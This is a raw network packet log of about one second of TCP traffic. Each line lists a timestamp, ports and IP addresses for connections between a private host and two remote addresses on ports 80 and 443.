Nov 17, 2024 01:38:22.413194895 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.413499117 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.413685083 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.413753986 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.413773060 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.413788080 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.413794994 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.416631937 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.416721106 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.416816950 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.417020082 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.417057991 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.442591906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.442609072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.442847013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.442847013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.443380117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.443413973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.443453074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.443514109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.443567038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.443614960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.533922911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.533952951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.533966064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.534153938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.534153938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.562875986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.562900066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.562916040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563088894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563088894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563575983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563628912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563640118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563654900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563680887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563694954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563704014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563729048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563774109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563832998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563849926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563864946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.563879967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563895941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.563918114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.564073086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.564117908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.601277113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.601300955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.601319075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.601528883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.601528883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.645864010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.645880938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.645894051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.645956993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.645999908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.684485912 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.685164928 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.685206890 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.685889959 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.685902119 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.693296909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.693314075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.693329096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.693383932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.693451881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.722615957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.722640991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.722656965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.722733021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.722733974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723006010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723045111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723067045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723068953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723094940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723099947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723117113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723119020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723176956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723207951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723340034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723355055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723381042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723418951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.723423004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723423958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723459005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.723479033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.760437965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.760462999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.760479927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.760689020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.813347101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.813369036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.813384056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.813472986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.813539028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.816531897 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.816593885 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.816665888 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.816916943 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.816965103 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.816996098 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.817012072 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.820159912 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.820230007 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.820338964 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.820543051 CET	49760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:22.820576906 CET	443	49760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:22.851839066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.851859093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.851881027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.851897001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.852060080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.852060080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.881078005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881095886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881114006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881127119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881184101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.881232023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.881894112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881963968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.881973982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.881990910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882010937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882025957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882041931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882088900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882186890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882203102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882217884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882253885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882282019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882352114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882380009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882394075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.882458925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.882458925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.919017076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919037104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919051886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919133902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.919166088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.919173002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919190884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919205904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.919228077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.919286013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.971909046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.971945047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.971960068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.971973896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:22.971978903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.972043037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:22.972043991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.010514021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.010529041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.010552883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.010565996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.010601044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.010636091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.029896021 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.030740976 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.030755997 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.030927896 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.030931950 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.039771080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.039798975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.039813042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.039844036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.039876938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.040513039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040574074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.040595055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040610075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040625095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040647984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.040678024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.040766954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040782928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040798903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040812969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.040823936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.040868044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.050088882 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.050967932 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.050967932 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.050981998 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.050988913 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.075325012 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.075839996 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.075901031 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.076246977 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.076266050 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.078013897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078033924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078049898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078110933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.078145027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.078159094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078197956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078212976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.078212976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078229904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078239918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.078246117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.078265905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.078443050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.130654097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.130673885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.130695105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.130820036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.130820036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.161026955 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.161212921 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.161365032 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.161391973 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.161391973 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.161407948 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.161417007 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.164644003 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.164686918 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.164783001 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.164987087 CET	49761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.165004015 CET	443	49761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.166454077 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.166848898 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.166910887 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.167232037 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.167246103 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.169421911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.169439077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.169454098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.169488907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.169521093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.182359934 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.182502985 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.182574987 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.182662964 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.182662964 CET	49758	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.182668924 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.182676077 CET	443	49758	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.184964895 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.185025930 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.185126066 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.185312986 CET	49762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.185333014 CET	443	49762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.198451042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.198482037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.198496103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.198524952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.198574066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.199542046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199582100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199594975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199652910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.199701071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199708939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.199717999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199733973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.199767113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.199799061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.205636024 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.205770969 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.205954075 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.205954075 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.205955029 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.208628893 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.208662033 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.208754063 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.208854914 CET	49763	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.208873987 CET	443	49763	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.236769915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236807108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236821890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236835957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236851931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236867905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.236876011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.236876965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.236943007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.237082005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.237098932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.237112999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.237133980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.237168074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.291419029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.291454077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.291465998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.291548967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.291599989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.299724102 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.299889088 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.299976110 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.300062895 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.300062895 CET	49759	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.300103903 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.300137043 CET	443	49759	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.302675962 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.302717924 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.302788973 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.302927971 CET	49764	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:23.302947998 CET	443	49764	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:23.327871084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.327909946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.327924013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.328011990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.328077078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.356842041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.356867075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.356949091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.356971979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.356997013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.357024908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.357052088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.357886076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.357902050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.357917070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.357959032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.357959032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.358093023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.358109951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.358124018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.358145952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.358167887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.358191967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.358232021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.358310938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.358361006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:23.395126104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395140886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395196915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395211935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395227909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:23.395243883 CET	80	49714	185.215.113.206	192.168.2.6
